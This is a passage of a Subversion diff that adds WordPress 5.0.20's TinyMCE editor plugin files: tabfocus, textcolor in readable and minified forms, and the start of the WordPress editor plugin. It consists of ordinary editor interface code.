+            if (!global$3.webkit) {
+              window.focus();
+            }
+            el.focus();
+          }, 10);
+        }
+        e.preventDefault();
+      }
+    }
+    editor.on('init', function () {
+      if (editor.inline) {
+        DOM.setAttrib(editor.getBody(), 'tabIndex', null);
+      }
+      editor.on('keyup', tabCancel);
+      if (global$3.gecko) {
+        editor.on('keypress keydown', tabHandler);
+      } else {
+        editor.on('keydown', tabHandler);
+      }
+    });
+  };
+  var $_6zogdykpjjgwed4h = { setup: setup };
+
+  global.add('tabfocus', function (editor) {
+    $_6zogdykpjjgwed4h.setup(editor);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),c=tinymce.util.Tools.resolve("tinymce.EditorManager"),s=tinymce.util.Tools.resolve("tinymce.Env"),a=tinymce.util.Tools.resolve("tinymce.util.Delay"),y=tinymce.util.Tools.resolve("tinymce.util.Tools"),f=tinymce.util.Tools.resolve("tinymce.util.VK"),d=function(e){return e.getParam("tab_focus",e.getParam("tabfocus_elements",":prev,:next"))},m=t.DOM,n=function(e){e.keyCode!==f.TAB||e.ctrlKey||e.altKey||e.metaKey||e.preventDefault()},i=function(r){function e(n){var i,o,e,l;if(!(n.keyCode!==f.TAB||n.ctrlKey||n.altKey||n.metaKey||n.isDefaultPrevented())&&(1===(e=y.explode(d(r))).length&&(e[1]=e[0],e[0]=":prev"),o=n.shiftKey?":prev"===e[0]?u(-1):m.get(e[0]):":next"===e[1]?u(1):m.get(e[1]))){var t=c.get(o.id||o.name);o.id&&t?t.focus():a.setTimeout(function(){s.webkit||window.focus(),o.focus()},10),n.preventDefault()}function u(e){function t(t){return/INPUT|TEXTAREA|BUTTON/.test(t.tagName)&&c.get(n.id)&&-1!==t.tabIndex&&function e(t){return"BODY"===t.nodeName||"hidden"!==t.type&&"none"!==t.style.display&&"hidden"!==t.style.visibility&&e(t.parentNode)}(t)}if(o=m.select(":input:enabled,*[tabindex]:not(iframe)"),y.each(o,function(e,t){if(e.id===r.id)return i=t,!1}),0<e){for(l=i+1;l<o.length;l++)if(t(o[l]))return o[l]}else for(l=i-1;0<=l;l--)if(t(o[l]))return o[l];return null}}r.on("init",function(){r.inline&&m.setAttrib(r.getBody(),"tabIndex",null),r.on("keyup",n),s.gecko?r.on("keypress keydown",e):r.on("keydown",e)})};e.add("tabfocus",function(e){i(e)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/textcolor/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/textcolor/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/textcolor/plugin.js	(revision 56912)
@@ -0,0 +1,346 @@
+(function () {
+var textcolor = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var getCurrentColor = function (editor, format) {
+    var color;
+    editor.dom.getParents(editor.selection.getStart(), function (elm) {
+      var value;
+      if (value = elm.style[format === 'forecolor' ? 'color' : 'background-color']) {
+        color = value;
+      }
+    });
+    return color;
+  };
+  var mapColors = function (colorMap) {
+    var i;
+    var colors = [];
+    for (i = 0; i < colorMap.length; i += 2) {
+      colors.push({
+        text: colorMap[i + 1],
+        color: '#' + colorMap[i]
+      });
+    }
+    return colors;
+  };
+  var applyFormat = function (editor, format, value) {
+    editor.undoManager.transact(function () {
+      editor.focus();
+      editor.formatter.apply(format, { value: value });
+      editor.nodeChanged();
+    });
+  };
+  var removeFormat = function (editor, format) {
+    editor.undoManager.transact(function () {
+      editor.focus();
+      editor.formatter.remove(format, { value: null }, null, true);
+      editor.nodeChanged();
+    });
+  };
+  var $_b0p88yrijjgwefd2 = {
+    getCurrentColor: getCurrentColor,
+    mapColors: mapColors,
+    applyFormat: applyFormat,
+    removeFormat: removeFormat
+  };
+
+  var register = function (editor) {
+    editor.addCommand('mceApplyTextcolor', function (format, value) {
+      $_b0p88yrijjgwefd2.applyFormat(editor, format, value);
+    });
+    editor.addCommand('mceRemoveTextcolor', function (format) {
+      $_b0p88yrijjgwefd2.removeFormat(editor, format);
+    });
+  };
+  var $_g2o2pirhjjgwefd1 = { register: register };
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
+
+  var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var defaultColorMap = [
+    '000000',
+    'Black',
+    '993300',
+    'Burnt orange',
+    '333300',
+    'Dark olive',
+    '003300',
+    'Dark green',
+    '003366',
+    'Dark azure',
+    '000080',
+    'Navy Blue',
+    '333399',
+    'Indigo',
+    '333333',
+    'Very dark gray',
+    '800000',
+    'Maroon',
+    'FF6600',
+    'Orange',
+    '808000',
+    'Olive',
+    '008000',
+    'Green',
+    '008080',
+    'Teal',
+    '0000FF',
+    'Blue',
+    '666699',
+    'Grayish blue',
+    '808080',
+    'Gray',
+    'FF0000',
+    'Red',
+    'FF9900',
+    'Amber',
+    '99CC00',
+    'Yellow green',
+    '339966',
+    'Sea green',
+    '33CCCC',
+    'Turquoise',
+    '3366FF',
+    'Royal blue',
+    '800080',
+    'Purple',
+    '999999',
+    'Medium gray',
+    'FF00FF',
+    'Magenta',
+    'FFCC00',
+    'Gold',
+    'FFFF00',
+    'Yellow',
+    '00FF00',
+    'Lime',
+    '00FFFF',
+    'Aqua',
+    '00CCFF',
+    'Sky blue',
+    '993366',
+    'Red violet',
+    'FFFFFF',
+    'White',
+    'FF99CC',
+    'Pink',
+    'FFCC99',
+    'Peach',
+    'FFFF99',
+    'Light yellow',
+    'CCFFCC',
+    'Pale green',
+    'CCFFFF',
+    'Pale cyan',
+    '99CCFF',
+    'Light sky blue',
+    'CC99FF',
+    'Plum'
+  ];
+  var getTextColorMap = function (editor) {
+    return editor.getParam('textcolor_map', defaultColorMap);
+  };
+  var getForeColorMap = function (editor) {
+    return editor.getParam('forecolor_map', getTextColorMap(editor));
+  };
+  var getBackColorMap = function (editor) {
+    return editor.getParam('backcolor_map', getTextColorMap(editor));
+  };
+  var getTextColorRows = function (editor) {
+    return editor.getParam('textcolor_rows', 5);
+  };
+  var getTextColorCols = function (editor) {
+    return editor.getParam('textcolor_cols', 8);
+  };
+  var getForeColorRows = function (editor) {
+    return editor.getParam('forecolor_rows', getTextColorRows(editor));
+  };
+  var getBackColorRows = function (editor) {
+    return editor.getParam('backcolor_rows', getTextColorRows(editor));
+  };
+  var getForeColorCols = function (editor) {
+    return editor.getParam('forecolor_cols', getTextColorCols(editor));
+  };
+  var getBackColorCols = function (editor) {
+    return editor.getParam('backcolor_cols', getTextColorCols(editor));
+  };
+  var getColorPickerCallback = function (editor) {
+    return editor.getParam('color_picker_callback', null);
+  };
+  var hasColorPicker = function (editor) {
+    return typeof getColorPickerCallback(editor) === 'function';
+  };
+  var $_2rfqb7rmjjgwefd9 = {
+    getForeColorMap: getForeColorMap,
+    getBackColorMap: getBackColorMap,
+    getForeColorRows: getForeColorRows,
+    getBackColorRows: getBackColorRows,
+    getForeColorCols: getForeColorCols,
+    getBackColorCols: getBackColorCols,
+    getColorPickerCallback: getColorPickerCallback,
+    hasColorPicker: hasColorPicker
+  };
+
+  var global$3 = tinymce.util.Tools.resolve('tinymce.util.I18n');
+
+  var getHtml = function (cols, rows, colorMap, hasColorPicker) {
+    var colors, color, html, last, x, y, i, count = 0;
+    var id = global$1.DOM.uniqueId('mcearia');
+    var getColorCellHtml = function (color, title) {
+      var isNoColor = color === 'transparent';
+      return '<td class="mce-grid-cell' + (isNoColor ? ' mce-colorbtn-trans' : '') + '">' + '<div id="' + id + '-' + count++ + '"' + ' data-mce-color="' + (color ? color : '') + '"' + ' role="option"' + ' tabIndex="-1"' + ' style="' + (color ? 'background-color: ' + color : '') + '"' + ' title="' + global$3.translate(title) + '">' + (isNoColor ? '&#215;' : '') + '</div>' + '</td>';
+    };
+    colors = $_b0p88yrijjgwefd2.mapColors(colorMap);
+    colors.push({
+      text: global$3.translate('No color'),
+      color: 'transparent'
+    });
+    html = '<table class="mce-grid mce-grid-border mce-colorbutton-grid" role="list" cellspacing="0"><tbody>';
+    last = colors.length - 1;
+    for (y = 0; y < rows; y++) {
+      html += '<tr>';
+      for (x = 0; x < cols; x++) {
+        i = y * cols + x;
+        if (i > last) {
+          html += '<td></td>';
+        } else {
+          color = colors[i];
+          html += getColorCellHtml(color.color, color.text);
+        }
+      }
+      html += '</tr>';
+    }
+    if (hasColorPicker) {
+      html += '<tr>' + '<td colspan="' + cols + '" class="mce-custom-color-btn">' + '<div id="' + id + '-c" class="mce-widget mce-btn mce-btn-small mce-btn-flat" ' + 'role="button" tabindex="-1" aria-labelledby="' + id + '-c" style="width: 100%">' + '<button type="button" role="presentation" tabindex="-1">' + global$3.translate('Custom...') + '</button>' + '</div>' + '</td>' + '</tr>';
+      html += '<tr>';
+      for (x = 0; x < cols; x++) {
+        html += getColorCellHtml('', 'Custom color');
+      }
+      html += '</tr>';
+    }
+    html += '</tbody></table>';
+    return html;
+  };
+  var $_fihh7qrnjjgwefdb = { getHtml: getHtml };
+
+  var setDivColor = function setDivColor(div, value) {
+    div.style.background = value;
+    div.setAttribute('data-mce-color', value);
+  };
+  var onButtonClick = function (editor) {
+    return function (e) {
+      var ctrl = e.control;
+      if (ctrl._color) {
+        editor.execCommand('mceApplyTextcolor', ctrl.settings.format, ctrl._color);
+      } else {
+        editor.execCommand('mceRemoveTextcolor', ctrl.settings.format);
+      }
+    };
+  };
+  var onPanelClick = function (editor, cols) {
+    return function (e) {
+      var buttonCtrl = this.parent();
+      var value;
+      var currentColor = $_b0p88yrijjgwefd2.getCurrentColor(editor, buttonCtrl.settings.format);
+      var selectColor = function (value) {
+        editor.execCommand('mceApplyTextcolor', buttonCtrl.settings.format, value);
+        buttonCtrl.hidePanel();
+        buttonCtrl.color(value);
+      };
+      var resetColor = function () {
+        editor.execCommand('mceRemoveTextcolor', buttonCtrl.settings.format);
+        buttonCtrl.hidePanel();
+        buttonCtrl.resetColor();
+      };
+      if (global$1.DOM.getParent(e.target, '.mce-custom-color-btn')) {
+        buttonCtrl.hidePanel();
+        var colorPickerCallback = $_2rfqb7rmjjgwefd9.getColorPickerCallback(editor);
+        colorPickerCallback.call(editor, function (value) {
+          var tableElm = buttonCtrl.panel.getEl().getElementsByTagName('table')[0];
+          var customColorCells, div, i;
+          customColorCells = global$2.map(tableElm.rows[tableElm.rows.length - 1].childNodes, function (elm) {
+            return elm.firstChild;
+          });
+          for (i = 0; i < customColorCells.length; i++) {
+            div = customColorCells[i];
+            if (!div.getAttribute('data-mce-color')) {
+              break;
+            }
+          }
+          if (i === cols) {
+            for (i = 0; i < cols - 1; i++) {
+              setDivColor(customColorCells[i], customColorCells[i + 1].getAttribute('data-mce-color'));
+            }
+          }
+          setDivColor(div, value);
+          selectColor(value);
+        }, currentColor);
+      }
+      value = e.target.getAttribute('data-mce-color');
+      if (value) {
+        if (this.lastId) {
+          global$1.DOM.get(this.lastId).setAttribute('aria-selected', 'false');
+        }
+        e.target.setAttribute('aria-selected', true);
+        this.lastId = e.target.id;
+        if (value === 'transparent') {
+          resetColor();
+        } else {
+          selectColor(value);
+        }
+      } else if (value !== null) {
+        buttonCtrl.hidePanel();
+      }
+    };
+  };
+  var renderColorPicker = function (editor, foreColor) {
+    return function () {
+      var cols = foreColor ? $_2rfqb7rmjjgwefd9.getForeColorCols(editor) : $_2rfqb7rmjjgwefd9.getBackColorCols(editor);
+      var rows = foreColor ? $_2rfqb7rmjjgwefd9.getForeColorRows(editor) : $_2rfqb7rmjjgwefd9.getBackColorRows(editor);
+      var colorMap = foreColor ? $_2rfqb7rmjjgwefd9.getForeColorMap(editor) : $_2rfqb7rmjjgwefd9.getBackColorMap(editor);
+      var hasColorPicker = $_2rfqb7rmjjgwefd9.hasColorPicker(editor);
+      return $_fihh7qrnjjgwefdb.getHtml(cols, rows, colorMap, hasColorPicker);
+    };
+  };
+  var register$1 = function (editor) {
+    editor.addButton('forecolor', {
+      type: 'colorbutton',
+      tooltip: 'Text color',
+      format: 'forecolor',
+      panel: {
+        role: 'application',
+        ariaRemember: true,
+        html: renderColorPicker(editor, true),
+        onclick: onPanelClick(editor, $_2rfqb7rmjjgwefd9.getForeColorCols(editor))
+      },
+      onclick: onButtonClick(editor)
+    });
+    editor.addButton('backcolor', {
+      type: 'colorbutton',
+      tooltip: 'Background color',
+      format: 'hilitecolor',
+      panel: {
+        role: 'application',
+        ariaRemember: true,
+        html: renderColorPicker(editor, false),
+        onclick: onPanelClick(editor, $_2rfqb7rmjjgwefd9.getBackColorCols(editor))
+      },
+      onclick: onButtonClick(editor)
+    });
+  };
+  var $_8npvswrjjjgwefd5 = { register: register$1 };
+
+  global.add('textcolor', function (editor) {
+    $_g2o2pirhjjgwefd1.register(editor);
+    $_8npvswrjjjgwefd5.register(editor);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/textcolor/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/textcolor/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/textcolor/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=function(t,o){var r;return t.dom.getParents(t.selection.getStart(),function(t){var e;(e=t.style["forecolor"===o?"color":"background-color"])&&(r=e)}),r},g=function(t){var e,o=[];for(e=0;e<t.length;e+=2)o.push({text:t[e+1],color:"#"+t[e]});return o},r=function(t,e,o){t.undoManager.transact(function(){t.focus(),t.formatter.apply(e,{value:o}),t.nodeChanged()})},e=function(t,e){t.undoManager.transact(function(){t.focus(),t.formatter.remove(e,{value:null},null,!0),t.nodeChanged()})},o=function(o){o.addCommand("mceApplyTextcolor",function(t,e){r(o,t,e)}),o.addCommand("mceRemoveTextcolor",function(t){e(o,t)})},F=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),i=tinymce.util.Tools.resolve("tinymce.util.Tools"),a=["000000","Black","993300","Burnt orange","333300","Dark olive","003300","Dark green","003366","Dark azure","000080","Navy Blue","333399","Indigo","333333","Very dark gray","800000","Maroon","FF6600","Orange","808000","Olive","008000","Green","008080","Teal","0000FF","Blue","666699","Grayish blue","808080","Gray","FF0000","Red","FF9900","Amber","99CC00","Yellow green","339966","Sea green","33CCCC","Turquoise","3366FF","Royal blue","800080","Purple","999999","Medium gray","FF00FF","Magenta","FFCC00","Gold","FFFF00","Yellow","00FF00","Lime","00FFFF","Aqua","00CCFF","Sky blue","993366","Red violet","FFFFFF","White","FF99CC","Pink","FFCC99","Peach","FFFF99","Light yellow","CCFFCC","Pale green","CCFFFF","Pale cyan","99CCFF","Light sky blue","CC99FF","Plum"],l=function(t){return t.getParam("textcolor_map",a)},c=function(t){return t.getParam("textcolor_rows",5)},u=function(t){return t.getParam("textcolor_cols",8)},m=function(t){return t.getParam("color_picker_callback",null)},s=function(t){return t.getParam("forecolor_map",l(t))},d=function(t){return t.getParam("backcolor_map",l(t))},f=function(t){return t.getParam("forecolor_rows",c(t))},b=function(t){return t.getParam("backcolor_rows",c(t))},p=function(t){return t.getParam("forecolor_cols",u(t))},C=function(t){return t.getParam("backcolor_cols",u(t))},y=m,v=function(t){return"function"==typeof m(t)},h=tinymce.util.Tools.resolve("tinymce.util.I18n"),P=function(t,e,o,r){var n,a,l,c,i,u,m,s=0,d=F.DOM.uniqueId("mcearia"),f=function(t,e){var o="transparent"===t;return'<td class="mce-grid-cell'+(o?" mce-colorbtn-trans":"")+'"><div id="'+d+"-"+s+++'" data-mce-color="'+(t||"")+'" role="option" tabIndex="-1" style="'+(t?"background-color: "+t:"")+'" title="'+h.translate(e)+'">'+(o?"&#215;":"")+"</div></td>"};for((n=g(o)).push({text:h.translate("No color"),color:"transparent"}),l='<table class="mce-grid mce-grid-border mce-colorbutton-grid" role="list" cellspacing="0"><tbody>',c=n.length-1,u=0;u<e;u++){for(l+="<tr>",i=0;i<t;i++)l+=c<(m=u*t+i)?"<td></td>":f((a=n[m]).color,a.text);l+="</tr>"}if(r){for(l+='<tr><td colspan="'+t+'" class="mce-custom-color-btn"><div id="'+d+'-c" class="mce-widget mce-btn mce-btn-small mce-btn-flat" role="button" tabindex="-1" aria-labelledby="'+d+'-c" style="width: 100%"><button type="button" role="presentation" tabindex="-1">'+h.translate("Custom...")+"</button></div></td></tr>",l+="<tr>",i=0;i<t;i++)l+=f("","Custom color");l+="</tr>"}return l+="</tbody></table>"},k=function(t,e){t.style.background=e,t.setAttribute("data-mce-color",e)},x=function(o){return function(t){var e=t.control;e._color?o.execCommand("mceApplyTextcolor",e.settings.format,e._color):o.execCommand("mceRemoveTextcolor",e.settings.format)}},T=function(r,c){return function(t){var e,a=this.parent(),o=n(r,a.settings.format),l=function(t){r.execCommand("mceApplyTextcolor",a.settings.format,t),a.hidePanel(),a.color(t)};F.DOM.getParent(t.target,".mce-custom-color-btn")&&(a.hidePanel(),y(r).call(r,function(t){var e,o,r,n=a.panel.getEl().getElementsByTagName("table")[0];for(e=i.map(n.rows[n.rows.length-1].childNodes,function(t){return t.firstChild}),r=0;r<e.length&&(o=e[r]).getAttribute("data-mce-color");r++);if(r===c)for(r=0;r<c-1;r++)k(e[r],e[r+1].getAttribute("data-mce-color"));k(o,t),l(t)},o)),(e=t.target.getAttribute("data-mce-color"))?(this.lastId&&F.DOM.get(this.lastId).setAttribute("aria-selected","false"),t.target.setAttribute("aria-selected",!0),this.lastId=t.target.id,"transparent"===e?(r.execCommand("mceRemoveTextcolor",a.settings.format),a.hidePanel(),a.resetColor()):l(e)):null!==e&&a.hidePanel()}},_=function(n,a){return function(){var t=a?p(n):C(n),e=a?f(n):b(n),o=a?s(n):d(n),r=v(n);return P(t,e,o,r)}},A=function(t){t.addButton("forecolor",{type:"colorbutton",tooltip:"Text color",format:"forecolor",panel:{role:"application",ariaRemember:!0,html:_(t,!0),onclick:T(t,p(t))},onclick:x(t)}),t.addButton("backcolor",{type:"colorbutton",tooltip:"Background color",format:"hilitecolor",panel:{role:"application",ariaRemember:!0,html:_(t,!1),onclick:T(t,C(t))},onclick:x(t)})};t.add("textcolor",function(t){o(t),A(t)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wordpress/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wordpress/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wordpress/plugin.js	(revision 56912)
@@ -0,0 +1,1094 @@
+/* global getUserSetting, setUserSetting */
+( function( tinymce ) {
+// Set the minimum value for the modals z-index higher than #wpadminbar (100000)
+if ( ! tinymce.ui.FloatPanel.zIndex || tinymce.ui.FloatPanel.zIndex < 100100 ) {
+	tinymce.ui.FloatPanel.zIndex = 100100;
+}
+
+tinymce.PluginManager.add( 'wordpress', function( editor ) {
+	var wpAdvButton, style,
+		DOM = tinymce.DOM,
+		each = tinymce.each,
+		__ = editor.editorManager.i18n.translate,
+		$ = window.jQuery,
+		wp = window.wp,
+		hasWpautop = ( wp && wp.editor && wp.editor.autop && editor.getParam( 'wpautop', true ) );
+
+	if ( $ ) {
+		$( document ).triggerHandler( 'tinymce-editor-setup', [ editor ] );
+	}
+
+	function toggleToolbars( state ) {
+		var initial, toolbars,
+			pixels = 0,
+			classicBlockToolbar = tinymce.$( '.block-library-classic__toolbar' );
+
+		if ( state === 'hide' ) {
+			initial = true;
+		} else if ( classicBlockToolbar.length && ! classicBlockToolbar.hasClass( 'has-advanced-toolbar' ) ) {
+			// Show the second, third, etc. toolbar rows in the Classic block instance.
+			classicBlockToolbar.addClass( 'has-advanced-toolbar' );
+			state = 'show';
+		}
+
+		if ( editor.theme.panel ) {
+			toolbars = editor.theme.panel.find('.toolbar:not(.menubar)');
+		}
+
+		if ( toolbars && toolbars.length > 1 ) {
+			if ( ! state && toolbars[1].visible() ) {
+				state = 'hide';
+			}
+
+			each( toolbars, function( toolbar, i ) {
+				if ( i > 0 ) {
+					if ( state === 'hide' ) {
+						toolbar.hide();
+						pixels += 30;
+					} else {
+						toolbar.show();
+						pixels -= 30;
+					}
+				}
+			});
+		}
+
+		// Resize editor iframe, not needed for iOS and inline instances.
+		if ( pixels && ! tinymce.Env.iOS && editor.iframeElement ) {
+			DOM.setStyle( editor.iframeElement, 'height', editor.iframeElement.clientHeight + pixels );
+		}
+
+		if ( ! initial ) {
+			if ( state === 'hide' ) {
+				setUserSetting( 'hidetb', '0' );
+				wpAdvButton && wpAdvButton.active( false );
+			} else {
+				setUserSetting( 'hidetb', '1' );
+				wpAdvButton && wpAdvButton.active( true );
+			}
+		}
+
+		editor.fire( 'wp-toolbar-toggle' );
+	}
+
+	// Add the kitchen sink button :)
+	editor.addButton( 'wp_adv', {
+		tooltip: 'Toolbar Toggle',
+		cmd: 'WP_Adv',
+		onPostRender: function() {
+			wpAdvButton = this;
+			wpAdvButton.active( getUserSetting( 'hidetb' ) === '1' );
+		}
+	});
+
+	// Hide the toolbars after loading
+	editor.on( 'PostRender', function() {
+		if ( editor.getParam( 'wordpress_adv_hidden', true ) && getUserSetting( 'hidetb', '0' ) === '0' ) {
+			toggleToolbars( 'hide' );
+		} else {
+			tinymce.$( '.block-library-classic__toolbar' ).addClass( 'has-advanced-toolbar' );
+		}
+	});
+
+	editor.addCommand( 'WP_Adv', function() {
+		toggleToolbars();
+	});
+
+	editor.on( 'focus', function() {
+        window.wpActiveEditor = editor.id;
+    });
+
+	editor.on( 'BeforeSetContent', function( event ) {
+		var title;
+
+		if ( event.content ) {
+			if ( event.content.indexOf( '<!--more' ) !== -1 ) {
+				title = __( 'Read more...' );
+
+				event.content = event.content.replace( /<!--more(.*?)-->/g, function( match, moretext ) {
+					return '<img src="' + tinymce.Env.transparentSrc + '" data-wp-more="more" data-wp-more-text="' + moretext + '" ' +
+						'class="wp-more-tag mce-wp-more" alt="" title="' + title + '" data-mce-resize="false" data-mce-placeholder="1" />';
+				});
+			}
+
+			if ( event.content.indexOf( '<!--nextpage-->' ) !== -1 ) {
+				title = __( 'Page break' );
+
+				event.content = event.content.replace( /<!--nextpage-->/g,
+					'<img src="' + tinymce.Env.transparentSrc + '" data-wp-more="nextpage" class="wp-more-tag mce-wp-nextpage" ' +
+						'alt="" title="' + title + '" data-mce-resize="false" data-mce-placeholder="1" />' );
+			}
+
+			if ( event.load && event.format !== 'raw' ) {
+				if ( hasWpautop ) {
+					event.content = wp.editor.autop( event.content );
+				} else {
+					// Prevent creation of paragraphs out of multiple HTML comments.
+					event.content = event.content.replace( /-->\s+<!--/g, '--><!--' );
+				}
+			}
+
+			if ( event.content.indexOf( '<script' ) !== -1 || event.content.indexOf( '<style' ) !== -1 ) {
+				event.content = event.content.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match, tag ) {
+					return '<img ' +
+						'src="' + tinymce.Env.transparentSrc + '" ' +
+						'data-wp-preserve="' + encodeURIComponent( match ) + '" ' +
+						'data-mce-resize="false" ' +
+						'data-mce-placeholder="1" '+
+						'class="mce-object" ' +
+						'width="20" height="20" '+
+						'alt="&lt;' + tag + '&gt;" ' +
+						'title="&lt;' + tag + '&gt;" ' +
+					'/>';
+				} );
+			}
+		}
+	});
+
+	editor.on( 'setcontent', function() {
+		// Remove spaces from empty paragraphs.
+		editor.$( 'p' ).each( function( i, node ) {
+			if ( node.innerHTML && node.innerHTML.length < 10 ) {
+				var html = tinymce.trim( node.innerHTML );
+
+				if ( ! html || html === '&nbsp;' ) {
+					node.innerHTML = ( tinymce.Env.ie && tinymce.Env.ie < 11 ) ? '' : '<br data-mce-bogus="1">';
+				}
+			}
+		} );
+	});
+
+	editor.on( 'PostProcess', function( event ) {
+		if ( event.get ) {
+			event.content = event.content.replace(/<img[^>]+>/g, function( image ) {
+				var match,
+					string,
+					moretext = '';
+
+				if ( image.indexOf( 'data-wp-more="more"' ) !== -1 ) {
+					if ( match = image.match( /data-wp-more-text="([^"]+)"/ ) ) {
+						moretext = match[1];
+					}
+
+					string = '<!--more' + moretext + '-->';
+				} else if ( image.indexOf( 'data-wp-more="nextpage"' ) !== -1 ) {
+					string = '<!--nextpage-->';
+				} else if ( image.indexOf( 'data-wp-preserve' ) !== -1 ) {
+					if ( match = image.match( / data-wp-preserve="([^"]+)"/ ) ) {
+						string = decodeURIComponent( match[1] );
+					}
+				}
+
+				return string || image;
+			});
+		}
+	});
+
+	// Display the tag name instead of img in element path
+	editor.on( 'ResolveName', function( event ) {
+		var attr;
+
+		if ( event.target.nodeName === 'IMG' && ( attr = editor.dom.getAttrib( event.target, 'data-wp-more' ) ) ) {
+			event.name = attr;
+		}
+	});
+
+	// Register commands
+	editor.addCommand( 'WP_More', function( tag ) {
+		var parent, html, title,
+			classname = 'wp-more-tag',
+			dom = editor.dom,
+			node = editor.selection.getNode(),
+			rootNode = editor.getBody();
+
+		tag = tag || 'more';
+		classname += ' mce-wp-' + tag;
+		title = tag === 'more' ? 'Read more...' : 'Next page';
+		title = __( title );
+		html = '<img src="' + tinymce.Env.transparentSrc + '" alt="" title="' + title + '" class="' + classname + '" ' +
+			'data-wp-more="' + tag + '" data-mce-resize="false" data-mce-placeholder="1" />';
+
+		// Most common case
+		if ( node === rootNode || ( node.nodeName === 'P' && node.parentNode === rootNode ) ) {
+			editor.insertContent( html );
+			return;
+		}
+
+		// Get the top level parent node
+		parent = dom.getParent( node, function( found ) {
+			if ( found.parentNode && found.parentNode === rootNode ) {
+				return true;
+			}
+
+			return false;
+		}, editor.getBody() );
+
+		if ( parent ) {
+			if ( parent.nodeName === 'P' ) {
+				parent.appendChild( dom.create( 'p', null, html ).firstChild );
+			} else {
+				dom.insertAfter( dom.create( 'p', null, html ), parent );
+			}
+
+			editor.nodeChanged();
+		}
+	});
+
+	editor.addCommand( 'WP_Code', function() {
+		editor.formatter.toggle('code');
+	});
+
+	editor.addCommand( 'WP_Page', function() {
+		editor.execCommand( 'WP_More', 'nextpage' );
+	});
+
+	editor.addCommand( 'WP_Help', function() {
+		var access = tinymce.Env.mac ? __( 'Ctrl + Alt + letter:' ) : __( 'Shift + Alt + letter:' ),
+			meta = tinymce.Env.mac ? __( 'Cmd + letter:' ) : __( 'Ctrl + letter:' ),
+			table1 = [],
+			table2 = [],
+			row1 = {},
+			row2 = {},
+			i1 = 0,
+			i2 = 0,
+			labels = editor.settings.wp_shortcut_labels,
+			header, html, dialog, $wrap;
+
+		if ( ! labels ) {
+			return;
+		}
+
+		function tr( row, columns ) {
+			var out = '<tr>';
+			var i = 0;
+
+			columns = columns || 1;
+
+			each( row, function( text, key ) {
+				out += '<td><kbd>' + key + '</kbd></td><td>' + __( text ) + '</td>';
+				i++;
+			});
+
+			while ( i < columns ) {
+				out += '<td></td><td></td>';
+				i++;
+			}
+
+			return out + '</tr>';
+		}
+
+		each ( labels, function( label, name ) {
+			var letter;
+
+			if ( label.indexOf( 'meta' ) !== -1 ) {
+				i1++;
+				letter = label.replace( 'meta', '' ).toLowerCase();
+
+				if ( letter ) {
+					row1[ letter ] = name;
+
+					if ( i1 % 2 === 0 ) {
+						table1.push( tr( row1, 2 ) );
+						row1 = {};
+					}
+				}
+			} else if ( label.indexOf( 'access' ) !== -1 ) {
+				i2++;
+				letter = label.replace( 'access', '' ).toLowerCase();
+
+				if ( letter ) {
+					row2[ letter ] = name;
+
+					if ( i2 % 2 === 0 ) {
+						table2.push( tr( row2, 2 ) );
+						row2 = {};
+					}
+				}
+			}
+		} );
+
+		// Add remaining single entries.
+		if ( i1 % 2 > 0 ) {
+			table1.push( tr( row1, 2 ) );
+		}
+
+		if ( i2 % 2 > 0 ) {
+			table2.push( tr( row2, 2 ) );
+		}
+
+		header = [ __( 'Letter' ), __( 'Action' ), __( 'Letter' ), __( 'Action' ) ];
+		header = '<tr><th>' + header.join( '</th><th>' ) + '</th></tr>';
+
+		html = '<div class="wp-editor-help">';
+
+		// Main section, default and additional shortcuts
+		html = html +
+			'<h2>' + __( 'Default shortcuts,' ) + ' ' + meta + '</h2>' +
+			'<table class="wp-help-th-center fixed">' +
+				header +
+				table1.join('') +
+			'</table>' +
+			'<h2>' + __( 'Additional shortcuts,' ) + ' ' + access + '</h2>' +
+			'<table class="wp-help-th-center fixed">' +
+				header +
+				table2.join('') +
+			'</table>';
+
+		if ( editor.plugins.wptextpattern && ( ! tinymce.Env.ie || tinymce.Env.ie > 8 ) ) {
+			// Text pattern section
+			html = html +
+				'<h2>' + __( 'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' ) + '</h2>' +
+				'<table class="wp-help-th-center fixed">' +
+					tr({ '*':  'Bullet list', '1.':  'Numbered list' }) +
+					tr({ '-':  'Bullet list', '1)':  'Numbered list' }) +
+				'</table>';
+
+			html = html +
+				'<h2>' + __( 'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' ) + '</h2>' +
+				'<table class="wp-help-single">' +
+					tr({ '>': 'Blockquote' }) +
+					tr({ '##': 'Heading 2' }) +
+					tr({ '###': 'Heading 3' }) +
+					tr({ '####': 'Heading 4' }) +
+					tr({ '#####': 'Heading 5' }) +
